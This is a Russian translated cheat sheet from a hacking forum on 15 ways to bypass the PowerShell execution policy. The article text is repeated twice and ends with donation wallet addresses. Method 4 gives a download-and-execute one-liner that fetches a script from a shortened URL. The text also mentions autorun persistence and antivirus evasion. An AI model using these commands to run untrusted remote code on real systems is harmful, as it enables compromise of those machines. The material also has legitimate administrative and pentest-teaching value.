15 способов обхода PowerShell Execution Policy.
По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для тестеров проникновения, системных администраторов и разработчиков, но это не обязательно. В этом блоге я расскажу о 15 способах обхода политики выполнения PowerShell без прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но, надеюсь, эта шпаргалка станет хорошим началом для тех, кто в ней нуждается.
Что такое PowerShell Execution Policy.
Политика выполнения PowerShell - это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию он установлен на «Restricted», что в основном означает «ничего». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. Вот почему существует так много вариантов обхода. Включая несколько, которые Microsoft предоставила. Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать блог Карлоса Переса.
Почему я хочу обойти политику выполнения?
Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди системных администраторов, тестеров проникновения и хакеров. PowerShell - это:
Как посмотреть Execution Policy.
Прежде чем использовать все замечательные функции, которые может предложить PowerShell, злоумышленникам, возможно, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите конфигурацию в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

Стоит также отметить, что Execution Policy быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду ниже. Для получения дополнительной информации вы можете проверить страницу Microsoft Set-ExecutionPolicy здесь.
Примечания по настройке.
В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:
Когда я пытаюсь выполнить его в системе, настроенной с помощью Execution Policy по умолчанию, я получаю следующую ошибку:

Чтобы это исправить, то запустите команду «Set-ExecutionPolicy Restricted» из консоли администратора PowerShell. Хорошо, хватит болтать, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.
Обход Execution Policy PowerShell.
1.Вставьте скрипт в интерактивную консоль PowerShell
Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск.

2.Отобразите сценарий и передайте его стандартному PowerShell
Просто добавьте свой сценарий в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

3.Считывание скрипта из файла и конвейера в стандарт PowerShell
Используйте команду «type» для Windows или команду Get-Content для PowerShell, чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на диск.
Пример 1: команда Get-Content PowerShell

Пример 2: вводим команду

4.Скачать скрипт с URL и выполнить с помощью выражения Invoke
Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации. На него ссылается в хорошем блоге PowerSploit Мэтт Грэбер.

5.Используйте переключатель команд
Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это может быть сделано без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Пример 1: Полная команда

Пример 2: Короткая команда
Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей).
6. Используйте переключатель EncodeCommand
Это очень похоже на переключатель «Command», но все сценарии предоставляются в виде строки в кодировке Unicode / base64. Подобное кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя метод сжатия, позволяющий уменьшить размер закодированных команд, если они начинают работать слишком долго.
Пример 1: Полная команда

Пример 2: Короткая команда с использованием закодированной строки
7.Используйте команду Invoke-Command
Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command», но здорово то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Приведенную ниже команду также можно использовать для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.
8.Используйте команду Invoke-Expression
Это ещё одна команда, которая обычно выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования для обхода политики выполнения.
Пример 1: Полная команда с использованием Get-Content

Пример 2: Короткая команда с использованием Get-Content
9. Использовать флаг Execution Policy «Bypass»
Это флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

10. Используйте «Unrestricted » флаг Execution Policy
Это похоже на флаг «Обход». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запустили неподписанный сценарий, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением ». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

11. Используйте «Execution Policy с удаленной подписью»
Создайте свой сценарий, а затем следуйте инструкциям, написанным Карлосом Пересом (https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html), чтобы подписать его. Наконец, запустите его с помощью команды ниже:
12. Отключите ExecutionPolicy, заменив AuthorizationManager
Это действительно творческий метод, с которым я столкнулся на http://www.nivot.org. Приведенную ниже функцию можно выполнить с помощью интерактивной консоли PowerShell или с помощью переключателя «команда». Как только функция вызывается, она заменяет «AuthorizationManager» на ноль. В результате политика выполнения по существу устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

13. Установите ExcutionPolicy для области действия
Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

14. Установите ExcutionPolicy для области CurrentUser через команду
Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

15. Установите ExcutionPolicy для области CurrentUser через реестр
В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

Подведение итогов
Я думаю, что тема здесь в том, что политика исполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не предназначала это для контроля безопасности. Вот почему есть так много вариантов, чтобы обойти это. Microsoft была достаточно хороша, чтобы предоставить некоторые нативные опции, и сообщество безопасности также придумало действительно забавные трюки. Спасибо всем тем людям, которые внесли свой вклад через блоги и презентации. В остальном, удачи во всех ваших приключениях PowerShell и не забудьте взломать ответственно.
Итог: более 1500 слов
Спасибо tabac за то, что предложил данный текст для перевода
Переведено специально для xss.pro
Оригинальная статья https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
neopaket
Что то не так с подписью так что:
Если хотите, то можете пожертвовать копеечку на подарок на день рождения моего папы
QIWI:79054863063
BTC кошелёк 1K2G9q6T8qqSPiXomBvFhNCTCphKD7CBcz
ETH кошелёк 0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5 USD PAX кошелёк 0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5
По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для тестеров проникновения, системных администраторов и разработчиков, но это не обязательно. В этом блоге я расскажу о 15 способах обхода политики выполнения PowerShell без прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но, надеюсь, эта шпаргалка станет хорошим началом для тех, кто в ней нуждается.
Что такое PowerShell Execution Policy.
Политика выполнения PowerShell - это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию он установлен на «Restricted», что в основном означает «ничего». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. Вот почему существует так много вариантов обхода. Включая несколько, которые Microsoft предоставила. Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать блог Карлоса Переса.
Почему я хочу обойти политику выполнения?
Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди системных администраторов, тестеров проникновения и хакеров. PowerShell - это:
- Возможность вызова Windows API
- Возможность запуска команд без записи на диск
- Возможность избежать обнаружения Антивирусом
- Уже помечены как «доверенные» большинством приложений из белого списка
- Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.
Как посмотреть Execution Policy.
Прежде чем использовать все замечательные функции, которые может предложить PowerShell, злоумышленникам, возможно, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите конфигурацию в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.
Код:
PS C:> Get-ExecutionPolicy

Стоит также отметить, что Execution Policy быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду ниже. Для получения дополнительной информации вы можете проверить страницу Microsoft Set-ExecutionPolicy здесь.
Код:
Get-ExecutionPolicy -List | Format-Table –AutoSize
Примечания по настройке.
В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:
Код:
Write-Host "My voice is my passport, verify me."
Когда я пытаюсь выполнить его в системе, настроенной с помощью Execution Policy по умолчанию, я получаю следующую ошибку:

Чтобы это исправить, то запустите команду «Set-ExecutionPolicy Restricted» из консоли администратора PowerShell. Хорошо, хватит болтать, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.
Обход Execution Policy PowerShell.
1.Вставьте скрипт в интерактивную консоль PowerShell
Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск.

2.Отобразите сценарий и передайте его стандартному PowerShell
Просто добавьте свой сценарий в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Код:
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3.Считывание скрипта из файла и конвейера в стандарт PowerShell
Используйте команду «type» для Windows или команду Get-Content для PowerShell, чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на диск.
Пример 1: команда Get-Content PowerShell
Код:
Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Пример 2: вводим команду
Код:
TYPE .runme.ps1 | PowerShell.exe -noprofile -

4.Скачать скрипт с URL и выполнить с помощью выражения Invoke
Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации. На него ссылается в хорошем блоге PowerSploit Мэтт Грэбер.
Код:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

5.Используйте переключатель команд
Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это может быть сделано без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Пример 1: Полная команда
Код:
Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Пример 2: Короткая команда
Код:
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей).
6. Используйте переключатель EncodeCommand
Это очень похоже на переключатель «Command», но все сценарии предоставляются в виде строки в кодировке Unicode / base64. Подобное кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя метод сжатия, позволяющий уменьшить размер закодированных команд, если они начинают работать слишком долго.
Пример 1: Полная команда
Код:
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Пример 2: Короткая команда с использованием закодированной строки
Код:
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7.Используйте команду Invoke-Command
Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command», но здорово то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Код:
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

Приведенную ниже команду также можно использовать для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.
Код:
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8.Используйте команду Invoke-Expression
Это ещё одна команда, которая обычно выполняется через интерактивную консоль PowerShell или один вкладыш с помощью переключателя «Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования для обхода политики выполнения.
Пример 1: Полная команда с использованием Get-Content
Код:
Get-Content .runme.ps1 | Invoke-Expression

Пример 2: Короткая команда с использованием Get-Content
Код:
GC .runme.ps1 | iex
9. Использовать флаг Execution Policy «Bypass»
Это флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Код:
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10. Используйте «Unrestricted » флаг Execution Policy
Это похоже на флаг «Обход». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запустили неподписанный сценарий, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением ». Этот метод не приводит к изменению конфигурации и не требует записи на диск.
Код:
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

11. Используйте «Execution Policy с удаленной подписью»
Создайте свой сценарий, а затем следуйте инструкциям, написанным Карлосом Пересом (https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html), чтобы подписать его. Наконец, запустите его с помощью команды ниже:
Код:
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. Отключите ExecutionPolicy, заменив AuthorizationManager
Это действительно творческий метод, с которым я столкнулся на http://www.nivot.org. Приведенную ниже функцию можно выполнить с помощью интерактивной консоли PowerShell или с помощью переключателя «команда». Как только функция вызывается, она заменяет «AuthorizationManager» на ноль. В результате политика выполнения по существу устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.
Код:
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy .runme.ps1

13. Установите ExcutionPolicy для области действия
Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.
Код:
Set-ExecutionPolicy Bypass -Scope Process

14. Установите ExcutionPolicy для области CurrentUser через команду
Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.
Код:
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. Установите ExcutionPolicy для области CurrentUser через реестр
В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.
Код:
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

Подведение итогов
Я думаю, что тема здесь в том, что политика исполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не предназначала это для контроля безопасности. Вот почему есть так много вариантов, чтобы обойти это. Microsoft была достаточно хороша, чтобы предоставить некоторые нативные опции, и сообщество безопасности также придумало действительно забавные трюки. Спасибо всем тем людям, которые внесли свой вклад через блоги и презентации. В остальном, удачи во всех ваших приключениях PowerShell и не забудьте взломать ответственно.
Итог: более 1500 слов
Спасибо tabac за то, что предложил данный текст для перевода
Переведено специально для xss.pro
Оригинальная статья https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
neopaket
Что то не так с подписью так что:
Если хотите, то можете пожертвовать копеечку на подарок на день рождения моего папы
QIWI:79054863063
BTC кошелёк 1K2G9q6T8qqSPiXomBvFhNCTCphKD7CBcz
ETH кошелёк 0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5 USD PAX кошелёк 0x53d22BFCca6E7820661dF8530CF51AF4541AB8c5
Последнее редактирование: